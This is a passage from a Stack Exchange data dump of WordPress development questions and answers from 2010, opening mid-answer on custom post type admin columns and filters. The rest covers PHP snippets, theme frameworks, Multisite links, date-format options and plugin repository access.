&lt;code&gt;'title'&lt;/code&gt; and &lt;code&gt;'date'&lt;/code&gt; refer to &lt;code&gt;post_title&lt;/code&gt; and &lt;code&gt;post_date&lt;/code&gt; from the &lt;code&gt;wp_posts&lt;/code&gt; table, respectively. &lt;code&gt;'author'&lt;/code&gt; of course is the &lt;code&gt;post_author&lt;/code&gt; field after the author name is retrieved from the &lt;code&gt;wp_users&lt;/code&gt; table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100820-195412.png&quot; alt=&quot;Screenshot of the 'cb' posts column as a checkbox.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the &lt;code&gt;manage_posts_columns&lt;/code&gt; hook we are simply wanting to insert our column  &lt;code&gt;businesses&lt;/code&gt; into the &lt;code&gt;$posts_columns&lt;/code&gt; array before &lt;code&gt;'author'&lt;/code&gt;, assuming some other plugin hasn't removed &lt;code&gt;author&lt;/code&gt; from the list yet!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;$new_posts_columns['businesses'] = 'Businesses';&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;&lt;em&gt;Note&lt;/em&gt;&lt;/strong&gt; as I wrote &lt;code&gt;add_businesses_column_to_listing_list()&lt;/code&gt; it occurred to me that PHP &lt;em&gt;must&lt;/em&gt; have an easier way to insert a value into an associative array in the proper order?!? Or at least there's got to be a function in WordPress core to do it? But since Google let me down so I went with what worked. If anyone has any suggested alternatives I'll be all ears and appreciative in advance!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which finally brings us to...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step #4: The &lt;code&gt;manage_posts_custom_column&lt;/code&gt; action hook&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The second thing of two (2) we need to do to make our businesses display in the column is to actually output the name of each of the associated businesses using the  &lt;code&gt;manage_posts_custom_column&lt;/code&gt; action hook. This hook accepts two (2) parameters (&lt;code&gt;column_id&lt;/code&gt; and &lt;code&gt;post_id&lt;/code&gt;) and is also called from &lt;code&gt;/wp-admin/includes/template.php&lt;/code&gt; (in v3.0.1 that call is on line 1459.): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('manage_posts_custom_column', 'show_businesses_column_for_listing_list',10,2);&#xA;function show_businesses_column_for_listing_list( $column_id,$post_id ) {&#xA;    global $typenow;&#xA;    if ($typenow=='listing') {&#xA;        $taxonomy = 'business';&#xA;        switch ($column_name) {&#xA;        case 'businesses':&#xA;            $businesses = get_the_terms($post_id,$taxonomy);&#xA;            if (is_array($businesses)) {&#xA;                foreach($businesses as $key =&amp;gt; $business) {&#xA;                    $edit_link = get_term_link($business,$taxonomy);&#xA;                    $businesses[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $business-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;                }&#xA;                //echo implode(&quot;&amp;lt;br/&amp;gt;&quot;,$businesses);&#xA;                echo implode(' | ',$businesses);&#xA;            }&#xA;            break;&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hook is called for each column for each post(/business) row. We first verify that we are indeed working with only the &lt;code&gt;listing&lt;/code&gt; custom post type and then we use a &lt;code&gt;switch&lt;/code&gt; statement to test against the &lt;code&gt;column_id&lt;/code&gt;. I chose &lt;code&gt;switch&lt;/code&gt; because this hook is often used to generate output for many different columns, especially if we use one function for many different post types which might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('manage_posts_custom_column', 'my_manage_posts_custom_column',10,2);&#xA;function my_manage_posts_custom_column( $column_id,$post_id ) {&#xA;    global $typenow;&#xA;    switch (&quot;{$typenow}:{$column_id}&quot;) {&#xA;    case 'listing:business':&#xA;        echo '...whatever...';&#xA;        break;&#xA;    case 'listing:property':&#xA;        echo '...whatever...';&#xA;        break;&#xA;    case 'agent:listing':&#xA;        echo '...whatever...';&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inspecting our use-case just a little closer you see the &lt;code&gt;get_the_terms()&lt;/code&gt; function which simply returns the list of terms for this taxonomy (i.e. businesses for this listing.) Here get the &lt;em&gt;permalink&lt;/em&gt; for the term's front-end web page that normally lists posts that are associated with the term but of course could might differently depending on the theme and/or plugins installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use the permalink to hyperlink the term just because I like to hyperlink things. We then merge all the hyperlinked terms(/businesses) together separated with the pipe ('&lt;code&gt;|&lt;/code&gt;') character and output to the PHP buffer which sends it to the user's browser/HTTP client:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$businesses = get_the_terms($post_id,$taxonomy);&#xA;if (is_array($businesses)) {&#xA;    foreach($businesses as $key =&amp;gt; $business) {&#xA;        $edit_link = get_term_link($business,$taxonomy);&#xA;        $businesses[$key] = '&amp;lt;a href=&quot;'.$edit_link.'&quot;&amp;gt;' . $business-&amp;gt;name . '&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    //echo implode(&quot;&amp;lt;br/&amp;gt;&quot;,$businesses);&#xA;    echo implode(' | ',$businesses);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;NOW&lt;/em&gt;&lt;/strong&gt; we are finally done.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Summary&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;So in summary you need to use the following four (4) hooks to get both a filter and a related column in the custom posts list page (Oh, it will also work with Posts and Pages.) They are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Step #1: The &lt;code&gt;restrict_manage_posts&lt;/code&gt; action hook.&lt;/li&gt;&#xA;&lt;li&gt;Step #2: The &lt;code&gt;parse_query&lt;/code&gt; filter hook.&lt;/li&gt;&#xA;&lt;li&gt;Step #3: The &lt;code&gt;manage_posts_columns&lt;/code&gt; filter hook.&lt;/li&gt;&#xA;&lt;li&gt;Step #4: The &lt;code&gt;manage_posts_custom_column&lt;/code&gt; action hook&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Where to download the code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;But if I forced you to read through all the above then I would certainly not be a very nice person if I also made you dig out the code just to be able to try it out! But contrary to what some people say, I am nice. So here ya go:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;strong&gt;Download the Code at&lt;/em&gt;&lt;/strong&gt;: &lt;a href=&quot;http://gist.github.com/541505&quot; rel=&quot;nofollow&quot;&gt;http://gist.github.com/541505&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;NOTE to @tarasm&lt;/em&gt;&lt;/strong&gt;: I included hooks for a &lt;code&gt;register_post_type()&lt;/code&gt; and &lt;code&gt;register_taxonomy()&lt;/code&gt; so that others could try this out without having to recreate them. You'll probably want to delete those two function calls before you test this out.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;THE END&lt;/h1&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Original Response:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Hi &lt;strong&gt;@tarasm&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you looking for &lt;em&gt;one drop down at the top&lt;/em&gt; like this screen or are you looking for &lt;em&gt;one drop down per post record&lt;/em&gt; and if so how would you expect the latter to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100811-210313.png&quot; alt=&quot;How to Create Sort By functionality for a Custom Post Type in the WordPress Admin&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the former, take a look at this answer to the question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/45/how-to-sort-the-admin-area-of-a-wordpress-custom-post-type-by-a-custom-field/159#159&quot;&gt;&lt;strong&gt;How to sort the admin area of a Wordpress custom post type by a custom field?&lt;/strong&gt;&lt;/a&gt;  If that is what you need I can provide more specifics related to taxonomy.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-21T01:02:55.783" LastActivityDate="2010-08-21T01:02:55.783" CommentCount="9" />
  <row Id="583" PostTypeId="2" ParentId="566" CreationDate="2010-08-19T16:14:25.577" Score="1" ViewCount="" Body="&lt;p&gt;Smithmier&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I see by your update this doesn't apply to you but it would apply to many others with your same problem and as we're looking for general answers to questions that apply to more than just one person I'm going to leave it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm assuming @hakre is right and &lt;em&gt;if so&lt;/em&gt; and &lt;em&gt;if&lt;/em&gt; your web host offers CPanel for you to administrate the technical bits of your web hosting account then here is where you can change your version of PHP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100819-121009.png&quot; alt=&quot;Screenshot for PHP Configuration on CPanel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which then takes you to this screen which is where you can change your version of PHP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/skitched-20100819-121313.png&quot; alt=&quot;Changing your version of PHP on CPanel&quot;&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-19T16:14:25.577" CommentCount="2" />
  <row Id="584" PostTypeId="2" ParentId="573" CreationDate="2010-08-19T16:48:32.767" Score="2" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@brianmcculloh&lt;/strong&gt; As @John P Bloch said, &lt;strong&gt;WordPress Multisite is a perfect fit&lt;/strong&gt;. The list of sites is what WordPress now calls &lt;em&gt;a Network&lt;/em&gt;. Here are some resources that you might find helpful:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;Creating a Network&lt;/a&gt; (WordPress Codex)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Installing_Multiple_Blogs&quot; rel=&quot;nofollow&quot;&gt;Installing Multiple Blogs&lt;/a&gt; (WordPress Codex)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-enable-multi-site-option-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;How to enable Multi-Site option in WordPress 3.0&lt;/a&gt; (WPBeginner.com)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://weblogtoolscollection.com/archives/2010/06/02/wordpress-3-multisite/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0 Walkthrough: Getting Started with Multisite&lt;/a&gt; (WebToolsCollection.com)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0: Multisite Domain Mapping Tutorial&lt;/a&gt; (ottopress.com)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping Plugin&lt;/a&gt; (wordpress.org/extend/plugins)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-19T16:48:32.767" />
  <row Id="585" PostTypeId="2" ParentId="577" CreationDate="2010-08-19T17:11:26.147" Score="0" ViewCount="" Body="&lt;p&gt;EDIT: I received a direct, easy answer from the folks over on the BuddyPress forums:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a template tag called bp_current_component() that returns a boolean. So, in short, to tell if we're currently in a BuddyPress-ized section of the site, we simply call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( bp_current_component() ){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...or, if we want to detect when we're NOT in a BuddyPress area, the inverse:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !bp_current_component() ){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Easy peasy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in total, the code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !bp_current_component() ){&#xA;    if ( is_page() ) {&#xA;        if( empty( $wp_query-&amp;gt;post-&amp;gt;post_parent ) ) {&#xA;            $parent = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;        } else {&#xA;            $parent = $wp_query-&amp;gt;post-&amp;gt;post_parent;&#xA;        }&#xA;&#xA;        if( wp_list_pages( &quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=0&quot; ) ) { &#xA;            echo '&amp;lt;ul id=&quot;subnav&quot;&amp;gt;';&#xA;            wp_list_pages( &quot;title_li=&amp;amp;child_of=$parent&amp;amp;echo=1&quot; );&#xA;            echo '&amp;lt;/ul&amp;gt;';&#xA;        }&#xA;    }&#xA;} else {&#xA;    echo '&amp;lt;ul id=&quot;subnav&quot;&amp;gt;';&#xA;    if ( is_user_logged_in() ){&#xA;        bp_get_loggedin_user_nav();         &#xA;    } else {&#xA;        bp_get_displayed_user_nav();&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="61" LastEditorUserId="61" LastEditorDisplayName="" LastEditDate="2010-08-19T20:44:11.953" LastActivityDate="2010-08-19T20:44:11.953" />
  <row Id="586" PostTypeId="2" ParentId="207" CreationDate="2010-08-19T17:20:33.667" Score="1" ViewCount="" Body="&lt;p&gt;If you need an event calendar with built in event registration and management fully integrated with WordPress. You should check out the Event Espresso plugin for WordPress. Event Espresso has a built in calendar and features a registration and payment system using PayPal and Authorize.net. &lt;/p&gt;&#xA;" LastActivityDate="2010-08-19T17:20:33.667" CommunityOwnedDate="2010-08-19T17:20:33.667" />
  <row Id="587" PostTypeId="2" ParentId="559" CreationDate="2010-08-19T17:25:37.763" Score="1" ViewCount="" Body="&lt;p&gt;According to &lt;a href=&quot;http://codex.wordpress.org/Post_to_your_blog_using_email&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;, you need to add an i-frame to your footer.php file that will call wp-mail.php whenever your site is loaded.  Apparently this file will process your inbox and create the posts.  This isn't mentioned in the documentation.  I've tried the setup, the mail got removed from the inbox, and the post got created, in a pending state.  Not quite what the config page says...&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2010-08-19T17:25:37.763" CommentCount="2" />
  <row Id="588" PostTypeId="2" ParentId="481" CreationDate="2010-08-19T18:02:46.743" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;It's only Pages where this is an issue. Posts are fine.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Seems like a bug to me, but regardless of whether or not it's a bug, you can not use numeric slugs on pages.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because number slugs like &quot;/750/&quot; interfere with posts years &quot;/2010/&quot; etc. and WordPress can't tell the difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you save two pages to draft with the same number (say 750) then WordPress assigns the slug 750-2 to both. Upon publish, the first will stay 750-2 while the second will update to 750-3. There is no normal way to get slug 750 on a page as of 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;a href=&quot;http://core.trac.wordpress.org/ticket/11917&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/11917&lt;/a&gt; is the ticket that outlawed numeric slugs.&lt;/p&gt;&#xA;" OwnerUserId="279" LastEditorUserId="279" LastEditorDisplayName="" LastEditDate="2010-08-19T18:32:08.057" LastActivityDate="2010-08-19T18:32:08.057" CommentCount="2" />
  <row Id="589" PostTypeId="1" AcceptedAnswerId="590" CreationDate="2010-08-19T18:24:20.587" Score="7" ViewCount="1183" Body="&lt;p&gt;I don't feel like making my own theme from scratch, so I looked for some theme frameworks, but they're all old and when I install them on WP 3.0 they produce loads of errors and don't behave properly. I just need a 3.0 ready blank theme with the bare elements (just text, but functional) to then shape myself into a good looking blog. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2011-04-09T21:37:29.693" Title="Is there a blank theme framework compatible with WP 3.0?" Tags="&lt;3.0&gt;&lt;themes&gt;" AnswerCount="9" CommentCount="0" FavoriteCount="6" />
  <row Id="590" PostTypeId="2" ParentId="589" CreationDate="2010-08-19T18:49:54.950" Score="7" ViewCount="" Body="&lt;p&gt;From what I understand &lt;a href=&quot;http://elliotjaystocks.com/blog/starkers-3/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Starkers 3.0&lt;/strong&gt;&lt;/a&gt; fits the bill. Do you want something &lt;a href=&quot;http://starkerstheme.com/demo/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this naked&lt;/strong&gt;&lt;/a&gt;, or less?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-19T18:49:54.950" CommentCount="4" />
  <row Id="591" PostTypeId="1" AcceptedAnswerId="592" CreationDate="2010-08-19T19:08:54.067" Score="1" ViewCount="890" Body="&lt;p&gt;This is a strange question, but I want to know how I can access the Date and Time settings   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Admin &amp;gt; Settings &amp;gt; General &amp;gt; Date Format&#xA;Admin &amp;gt; Settings &amp;gt; General &amp;gt; Time Format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using the &lt;a href=&quot;http://www.ama3.com/anytime&quot; rel=&quot;nofollow&quot;&gt;Any+Time jQuery plugin&lt;/a&gt; as a date/time selector for the editor view for a custom post type.  It allows you to specify a date and time format &lt;strike&gt;using the same settings Wordpress does&lt;/strike&gt;. &lt;strong&gt;Edit: Turns out it doesn't use the same Date part tokens that wordpress does. Lame.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ama3.com/anytime/#AnyTime.Converter.format&quot; rel=&quot;nofollow&quot;&gt;http://www.ama3.com/anytime/#AnyTime.Converter.format&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I want to do something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  $wpDateFormat = get_admin_settings('DateFormat');&#xA;  // $wpDateFormat now holds something like &quot;F j, Y&quot;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script&amp;gt;&#xA;    $(&quot;#datetime&quot;).AnyTime_picker({&#xA;      format: '&amp;lt;?php echo $wpDateFormat ?&amp;gt;'&#xA;    );&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I don't know is... is there such a function like &lt;code&gt;get_admin_settings()&lt;/code&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="193" LastEditorUserId="193" LastEditorDisplayName="" LastEditDate="2011-06-17T16:20:38.793" LastActivityDate="2011-06-17T16:20:38.793" Title="How to get the Date Format and Time Format settings for use in my template?" Tags="&lt;3.0&gt;&lt;settings&gt;" AnswerCount="3" />
  <row Id="592" PostTypeId="2" ParentId="591" CreationDate="2010-08-19T19:16:16.690" Score="5" ViewCount="" Body="&lt;p&gt;get_option('date_format');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_option('time_format');&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-08-19T19:16:16.690" CommentCount="1" />
  <row Id="593" PostTypeId="2" ParentId="591" CreationDate="2010-08-19T19:20:07.163" Score="2" ViewCount="" Body="&lt;p&gt;You want get_option(). In particular:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$date_format = get_option( 'date_format' );&#xA;$time_format = get_option( 'time_format' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="65" LastActivityDate="2010-08-19T19:20:07.163" />
  <row Id="594" PostTypeId="1" AcceptedAnswerId="947" CreationDate="2010-08-19T19:22:06.770" Score="3" ViewCount="414" Body="&lt;p&gt;I need a way to create a custom field that will let me pick an image from the media gallery. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The custom field should have a button that when clicked will take me to the media gallery and place the src destination url within a input text box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;looking for a plugin or online tutorial and I'm having little luck. &lt;/p&gt;&#xA;" OwnerUserId="197" LastEditorUserId="197" LastEditorDisplayName="" LastEditDate="2010-08-19T20:47:20.137" LastActivityDate="2010-08-26T22:53:03.167" Title="How do I make a custom field choose an image?" Tags="&lt;custom-field&gt;&lt;images&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="4" />
  <row Id="595" PostTypeId="2" ParentId="594" CreationDate="2010-08-19T19:25:57.070" Score="1" ViewCount="" Body="&lt;p&gt;By using one of the plugins that already do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2010-08-19T19:25:57.070" />
  <row Id="596" PostTypeId="1" AcceptedAnswerId="607" CreationDate="2010-08-19T19:30:10.087" Score="2" ViewCount="130" Body="&lt;p&gt;I am adding a new &quot;Custom Post Type&quot; named &quot;Seminar&quot;. I am defining three custom fields&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Location&lt;/li&gt;&#xA;&lt;li&gt;StartTime&lt;/li&gt;&#xA;&lt;li&gt;EndTime&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;StartTime and EndTime are going to store dates (surprise, surprise). I am wondering if there's any way to tell WordPress to treat these like dates so that I can sort by them and stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very new to WP, so forgive me if this is a dumb question.&lt;/p&gt;&#xA;" OwnerUserId="193" LastActivityDate="2010-08-19T20:47:13.210" Title="Is it possible to define the data type of a Custom Field?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;" AnswerCount="2" />
  <row Id="597" PostTypeId="1" AcceptedAnswerId="599" CreationDate="2010-08-19T19:40:02.170" Score="3" ViewCount="66" Body="&lt;p&gt;The question is &quot;&lt;strong&gt;&lt;em&gt;How to Allow Two Developers Access to a Plugin on the&#xA;WordPress.org Plugin Repository?&lt;/em&gt;&lt;/strong&gt;&quot;  This question was asked on the wp-hackers list and &lt;em&gt;@EAMann&lt;/em&gt; answered it nicely and it's a great question to have here so I'm posting it for Eric to answer here.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-19T19:51:25.653" Title="Allowing Two Developers Access to a Plugin on the WordPress.org Plugin Repository?" Tags="&lt;plugins&gt;&lt;repository&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="598" PostTypeId="2" ParentId="589" CreationDate="2010-08-19T19:50:04.813" Score="2" ViewCount="" Body="&lt;p&gt;I know that the &lt;a href=&quot;http://www.studiopress.com/&quot; rel=&quot;nofollow&quot;&gt;Genesis theme framework&lt;/a&gt; is 3.0 compatible, and utilizes many features such as custom nav menus and featured images. studiopress.com/themes/genesis - it is a premium theme, is supported, and gets regular updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thematic is also 3.0 compatible, if your not looking for a premium theme framework. Check out themeshaper.com/thematic/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are into the whole BuddyPress thing, check out Buddymattic at wordpress.org/extend/themes/buddymatic&lt;/p&gt;&#xA;" OwnerUserId="291" LastEditorUserId="7" LastEditorDisplayName="" LastEditDate="2010-08-24T16:56:15.287" LastActivityDate="2010-08-24T16:56:15.287" CommentCount="1" />
  <row Id="599" PostTypeId="2" ParentId="597" CreationDate="2010-08-19T19:51:25.653" Score="2" ViewCount="" Body="&lt;p&gt;There are two (2) steps.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the WordPress.org username of the contributor you want to add to the&#xA;&quot;&lt;em&gt;contributors&lt;/em&gt;&quot; line in the header info of the Readme file, and that person &#xA;will have SVN commit access to the plugin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;a href=&quot;http://wordpress.org/extend/plugins&quot; rel=&quot;nofollow&quot;&gt;the plugin repository&lt;/a&gt; and log in with the main account&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Go to your plug-in and click the &quot;&lt;em&gt;admin&lt;/em&gt;&quot; tab&lt;/li&gt;&#xA;&lt;li&gt;Add the user's WordPress login name to the list of committers by entering their name and clicking &quot;&lt;em&gt;Add Committer&lt;/em&gt;.&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it!&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-19T19:51:25.653" />
  <row Id="601" PostTypeId="2" ParentId="569" CreationDate="2010-08-19T20:01:45.567" Score="-1" ViewCount="" Body="&lt;p&gt;if you use child themes, &quot;template_directory&quot; would return the parent theme directory location.&#xA; I use 'CHILD_URL' and 'PARENT_URL' if you just need to print print urls.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2010-08-19T20:01:45.567" />
  <row Id="602" PostTypeId="2" ParentId="559" CreationDate="2010-08-19T20:06:51.047" Score="0" ViewCount="" Body="&lt;p&gt;There is a great service called posterous - &lt;a href=&quot;http://posterous.com/&quot; rel=&quot;nofollow&quot;&gt;http://posterous.com/&lt;/a&gt; - that makes this very easy, and your client will appreciate (it also does facebook, tweets, etc) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to post to WP by email uses xml-rpc - I have run into situations where certain hosts restrict this file in the security configuration, I would start there. &lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2010-08-19T20:06:51.047" CommentCount="3" />
  <row Id="603" PostTypeId="2" ParentId="589" CreationDate="2010-08-19T20:19:16.647" Score="1" ViewCount="" Body="&lt;p&gt;I was going to suggest the Starkers theme too, it's worth pointing out that Starkers is a stripped back version of the default Twenty 10 theme that comes with WordPress 3. I only mention this as it may be useful to use that as a starting point for WordPress 3.0 site development from the perspective of seeing what the new features are like.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2010-08-19T20:19:16.647" />
  <row Id="604" PostTypeId="2" ParentId="531" CreationDate="2010-08-19T20:21:52.570" Score="2" ViewCount="" Body="&lt;p&gt;you could do a css hack to do this (2 ways that I would try)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 this is the easiest way I can think of do make the css display the items in the subnavigation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.current-menu-ancestor ul {display:inline;}&#xA;.current-menu-parent ul (display:inline;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2 assuming that your theme supports body classes you could create a nav menu for each &quot;sub nav&quot;, and set them to display beneath the main navigation - then edit your stylesheet to only show the subnav div's using something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.child-menu-about, .child-menu-leadership {display:none;}&#xA;body.page-id-YOUR_ABOUT_PAGE_ID .child-menu-about {display:inline;}&#xA;body.category-YOUR-CATEGORY-SLUG  .child-menu-leadership {display:inline;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="291" LastActivityDate="2010-08-19T20:21:52.570" />
  <row Id="605" PostTypeId="2" ParentId="547" CreationDate="2010-08-19T20:25:25.260" Score="0" ViewCount="" Body="&lt;p&gt;it is all about having the right plug-ins. For example, check to see if your plug-ins write their own tables to the database, this generally slows things down a bit. anything that loads a lot of jquery or javascript is generally going to slow it up a bit too. Large quantities of plug-ins does not always mean performance drop. Make sure that you are using a caching plug-in that will help as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you are asking this because you are experiencing a slow down? Ask your host if there is anything you can do to speed it up, and make sure that your php configuration is set correctly.&lt;/p&gt;&#xA;" OwnerUserId="291" LastActivityDate="2010-08-19T20:25:25.260" />
